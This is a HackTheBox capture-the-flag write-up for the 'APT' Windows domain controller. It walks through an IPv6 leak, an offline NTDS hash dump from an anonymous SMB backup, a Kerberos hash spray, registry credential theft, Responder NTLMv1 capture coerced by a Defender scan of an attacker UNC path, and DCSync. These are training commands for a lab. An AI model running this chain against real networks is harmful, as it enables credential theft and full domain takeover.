Skip to content

APT Writeup - HackTheBox

Insane Windows
Mohammad Meraj

Independent Security Researcher

APT is a Windows domain controller that hides almost everything behind IPv6. The chain runs: OXID resolution over MSRPC to leak the IPv6 address, an anonymous SMB share holding a full Active Directory backup, an offline NTDS dump, Kerberos pre-authentication brute force to turn one of those hashes into a working account, plaintext credentials in a per-user registry hive, and finally an NTLMv1 downgrade that gives up the domain controller machine account for a DCSync.

Reconnaissance

Port scan over IPv4

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:80
Open $TARGET_IP:135
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p80,135 $TARGET_IP -oA nmap/nmap
PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Gigantic Hosting | Home
135/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p80,135 Limit the scan to the ports rustscan already found open.

A website and the RPC endpoint mapper, nothing else. Two ports on a Windows host with RPC exposed is worth a second look, because the OXID resolver in DCOM reports every interface the machine is bound to, no matter which interface the request arrived on. That includes addresses the IPv4 scan can never reach.

Leaking the IPv6 address

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/mubix/IOXIDResolver.git
┌──(kali㉿kali)-[~]
└─$ python3 IOXIDResolver.py -t $TARGET_IP
[*] Retrieving network interface of $TARGET_IP
Address: apt
Address: $TARGET_IP
Address: $TARGET_IPV6
Explain command
-t $TARGET_IP Target to query over the RPC endpoint mapper.

The host answers with its own name and a link local IPv6 address on top of the IPv4 one. Mapping apt to that address in /etc/hosts keeps name resolution working for the Kerberos tooling later, and rescanning over IPv6 shows the real machine.

Port scan over IPv6

┌──(kali㉿kali)-[~]
└─$ nmap -6 -Pn -sV -p53,80,88,135,389,445,464,593,636,3268,3269,5985,9389 apt
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
80/tcp   open  http              Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
389/tcp  open  ldap
445/tcp  open  microsoft-ds      Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap
3269/tcp open  globalcatLDAPssl?
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open  mc-nmf            .NET Message Framing
Explain command
-6 Scan over IPv6 instead of IPv4.
-Pn Skip host discovery, which the target does not answer.

DNS, Kerberos, LDAP, LDAPS, the global catalog, SMB and WinRM. This is a domain controller for htb.local, and every one of those services was invisible on the IPv4 path.

Enumeration

Anonymous SMB

┌──(kali㉿kali)-[~]
└─$ smbclient -L //apt/ -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        backup          Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
Explain command
-L //apt/ List the shares offered by the host.
-N Connect without a password, testing anonymous access.

Null sessions are allowed and there is a backup share next to the standard domain shares. That name on a domain controller is worth reading immediately.

┌──(kali㉿kali)-[~]
└─$ smbclient //apt/backup -N -c "get backup.zip" -t 300
Anonymous login successful
getting file \backup.zip of size 10650961 as backup.zip (98.8 KiloBytes/sec)
Explain command
-c "get backup.zip" Run a single command and exit instead of opening a session.
-t 300 Raise the timeout so the 10 MB transfer completes.

Vulnerability Discovery

What is inside the backup

┌──(kali㉿kali)-[~]
└─$ unzip backup.zip
Archive:  backup.zip
   creating: Active Directory/
[backup.zip] Active Directory/ntds.dit password:

The archive is encrypted, but the file listing already gives it away: ntds.dit is the Active Directory database, holding every domain object and every password hash. With the registry hives alongside it the whole domain can be decrypted offline. The zip password is the only thing in the way.

┌──(kali㉿kali)-[~]
└─$ zip2john backup.zip > hash
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
$BACKUP_ZIP_PASSWORD   (backup.zip)
1g 0:00:00:00 DONE
Explain command
--wordlist=/usr/share/wordlists/rockyou.txt Dictionary to try against the extracted zip hash.
┌──(kali㉿kali)-[~]
└─$ unzip backup.zip
  inflating: Active Directory/ntds.dit
  inflating: Active Directory/ntds.jfm
   creating: registry/
  inflating: registry/SECURITY
  inflating: registry/SYSTEM

Everything needed for an offline dump is here. SYSTEM carries the boot key, SECURITY carries the LSA secrets, and ntds.dit carries the accounts encrypted under that boot key.

Exploitation

Offline NTDS dump

┌──(kali㉿kali)-[~]
└─$ secretsdump.py local -system registry/SYSTEM -security registry/SECURITY -ntds "Active Directory/ntds.dit" -outputfile hashes
[*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
HTB\APT$:aad3b435b51404eeaad3b435b51404ee:$APT_MACHINE_HASH:::
[*] DPAPI_SYSTEM
<snip>
Explain command
local Work on files on disk instead of authenticating to a host.
-system registry/SYSTEM Hive holding the boot key that decrypts the rest.
-ntds "Active Directory/ntds.dit" Database to extract account secrets from.
-outputfile hashes Write the results to hashes.ntds and related files.

The dump writes one file per format, and the Kerberos keys file lists every account name, which is a username list without touching the network.

Which accounts still exist

┌──(kali㉿kali)-[~]
└─$ cut -d ':' -f 1 hashes.ntds.kerberos | sort -u > users.txt
┌──(kali㉿kali)-[~]
└─$ kerbrute userenum -d htb.local --dc apt users.txt
[+] VALID USERNAME:       Administrator@htb.local
[+] VALID USERNAME:       APT$@htb.local
[+] VALID USERNAME:       henry.vinson@htb.local
Explain command
userenum Validate usernames through Kerberos AS-REQ responses.
-d htb.local Kerberos realm to test against.
--dc apt Domain controller to send the requests to.

The backup is old, so most accounts in it are gone. Three survive, and henry.vinson is the only real user among them. The hashes from the dump are stale for that account, but Kerberos accepts an RC4 pre-authentication key that is the NT hash itself, so every hash in the dump can be tested against the live KDC as if it were a password.

┌──(kali㉿kali)-[~]
└─$ cut -d ':' -f 4 hashes.ntds > hashes.txt
┌──(kali㉿kali)-[~]
└─$ python2 ADPwdSpray.py htb.local apt henry.vinson ntlm hashes.txt
[+] Valid hash: $HENRY_VINSONS_HASH
┌──(kali㉿kali)-[~]
└─$ nxc smb apt -d htb.local -u henry.vinson -H $HENRY_VINSONS_HASH
SMB    APT    [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True)
SMB    APT    [+] htb.local\henry.vinson:$HENRY_VINSONS_HASH
Explain command
-u henry.vinson Account to authenticate as.
-H $HENRY_VINSONS_HASH Authenticate with the NT hash instead of a password.

The hash works over SMB, but the account has no WinRM rights, so Evil-WinRM refuses it. What it can still do is read the remote registry.

Credentials in a loaded user hive

┌──(kali㉿kali)-[~]
└─$ reg.py -hashes :$HENRY_VINSONS_HASH htb.local/henry.vinson@apt query -keyName HKU
HKU\.DEFAULT
HKU\S-1-5-19
HKU\S-1-5-20
HKU\S-1-5-21-2993095098-2100462451-206186470-1105
HKU\S-1-5-18
Explain command
-hashes :$HENRY_VINSONS_HASH Pass the NT hash instead of a password.
query -keyName HKU List the loaded user hives.

A domain SID ending in 1105 is loaded, so that profile is active on the box. Walking its Software key turns up GiganticHostingManagementSystem, which matches the branding of the website from the first scan. Custom applications that keep their own settings there often keep credentials there too.

┌──(kali㉿kali)-[~]
└─$ reg.py -hashes :$HENRY_VINSONS_HASH htb.local/henry.vinson@apt query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem'
        UserName        REG_SZ   henry.vinson_adm
        PassWord        REG_SZ   $HENRY_VINSON_ADMS_PASSWORD

A second, privileged account with its password in cleartext. This one does have WinRM rights.

┌──(kali㉿kali)-[~]
└─$ evil-winrm -u henry.vinson_adm -i apt -p '$HENRY_VINSON_ADMS_PASSWORD'
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>

Foothold as henry.vinson_adm.

Privilege Escalation

PowerShell history

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}

Someone set LmCompatibilityLevel to 2 on this host. That value makes the client send NTLM responses while the machine still accepts LM and NTLMv1 inbound. NTLMv1 responses are three DES operations over the NT hash, so a captured response can be turned back into the hash itself, which NTLMv2 does not allow. Capturing one requires the machine to authenticate outbound to a listener under our control.

Capturing an NTLMv1 response

┌──(kali㉿kali)-[~]
└─$ responder -I tun0 --lm
[+] Poisoning Options:
    Force LM downgrade         [ON]
    Force ESS downgrade        [ON]
[+] Generic Options:
    Challenge set              [1122334455667788]
Explain command
-I tun0 Interface to listen on.
--lm Force the LM and NTLMv1 downgrade so the response is crackable.

The fixed challenge matters. NTLMv1 responses are normally salted per session, which defeats precomputation, but Responder always answers with 1122334455667788, which is exactly the challenge the public DES tables were built for.

Windows Defender provides the coercion. A scan pointed at a UNC path forces the host to authenticate to that share before it can read the file, and the scan runs as the machine account.

*Evil-WinRM* PS C:\Users\Administrator\Documents> & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File \\$ATTACKER_IP\share\file.txt
Scan starting...
Explain command
-ScanType 3 Custom scan, which accepts an arbitrary path.
-File \\$ATTACKER_IP\share\file.txt UNC path that forces outbound SMB authentication.
┌──(kali㉿kali)-[~]
└─$ responder -I tun0 --lm
[SMB] NTLMv1 Client   : $TARGET_IP
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:$APT_NTLMV1_RESPONSE:$APT_NTLMV1_RESPONSE:1122334455667788

The response belongs to APT$, the domain controller machine account, because the scanning process authenticates as the computer rather than the logged on user. Submitting it to crack.sh in the NTHASH: format returns the NT hash for that account.

A domain controller machine account holds the replication rights that DCSync abuses, so that hash is enough to ask the domain for any account's secrets.

DCSync and pass the hash

┌──(kali㉿kali)-[~]
└─$ secretsdump.py 'htb.local/APT$@apt' -hashes :$APT_MACHINE_HASH -just-dc-user administrator
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATORS_HASH:::
[*] Kerberos keys grabbed
<snip>
Explain command
-hashes :$APT_MACHINE_HASH Authenticate as the machine account with its NT hash.
-just-dc-user administrator Replicate only the Administrator account instead of the whole domain.
┌──(kali㉿kali)-[~]
└─$ evil-winrm -u administrator -i apt -H $ADMINISTRATORS_HASH
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator

Domain administrator over WinRM with the replicated hash. Both the user context and full domain compromise are covered.

References